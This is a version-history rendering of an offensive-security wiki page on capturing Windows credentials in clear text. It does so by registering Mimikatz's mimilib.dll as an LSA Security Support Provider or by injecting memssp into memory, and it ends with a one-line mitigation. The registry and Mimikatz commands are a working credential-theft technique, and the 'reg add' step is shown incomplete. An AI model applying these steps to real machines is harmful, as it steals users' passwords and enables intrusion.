2020-07-15 15:43:14 +00:00
|
|
|
# Custom SSP
|
|
|
|
|
|
|
|
## Custom SSP
|
|
|
|
|
2021-10-18 11:21:18 +00:00
|
|
|
[Learn what is a SSP (Security Support Provider) here.](../authentication-credentials-uac-and-efs.md#security-support-provider-interface-sspi)\
|
2021-11-30 16:46:07 +00:00
|
|
|
You can create you **own SSP** to **capture** in **clear text** the **credentials** used to access the machine.
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
|
|
#### Mimilib
|
|
|
|
|
2021-10-18 11:21:18 +00:00
|
|
|
You can use the `mimilib.dll` binary provided by Mimikatz. **This will log inside a file all the credentials in clear text.**\
|
2022-04-05 22:24:52 +00:00
|
|
|
Drop the dll in `C:\Windows\System32\`\
|
2020-07-15 15:43:14 +00:00
|
|
|
Get a list existing LSA Security Packages:
|
|
|
|
|
|
|
|
{% code title="attacker@target" %}
|
|
|
|
```bash
|
|
|
|
PS C:\> reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
|
|
|
|
|
|
|
|
HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa
|
|
|
|
Security Packages REG_MULTI_SZ kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u
|
|
|
|
```
|
|
|
|
{% endcode %}
|
|
|
|
|
2021-10-18 11:21:18 +00:00
|
|
|
Add `mimilib.dll` to the Security Support Provider list (Security Packages):
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
|
|
```csharp
|
|
|
|
PS C:\> reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages"
|
|
|
|
```
|
|
|
|
|
|
|
|
And after a reboot all credentials can be found in clear text in `C:\Windows\System32\kiwissp.log`
|
|
|
|
|
|
|
|
#### In memory
|
|
|
|
|
2021-10-18 11:21:18 +00:00
|
|
|
You can also inject this in memory directly using Mimikatz (notice that it could be a little bit unstable/not working):
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
|
|
```csharp
|
|
|
|
privilege::debug
|
|
|
|
misc::memssp
|
|
|
|
```
|
|
|
|
|
|
|
|
This won't survive reboots.
|
|
|
|
|
|
|
|
### Mitigation
|
|
|
|
|
|
|
|
Event ID 4657 - Audit creation/change of `HKLM:\System\CurrentControlSet\Control\Lsa\SecurityPackages`
|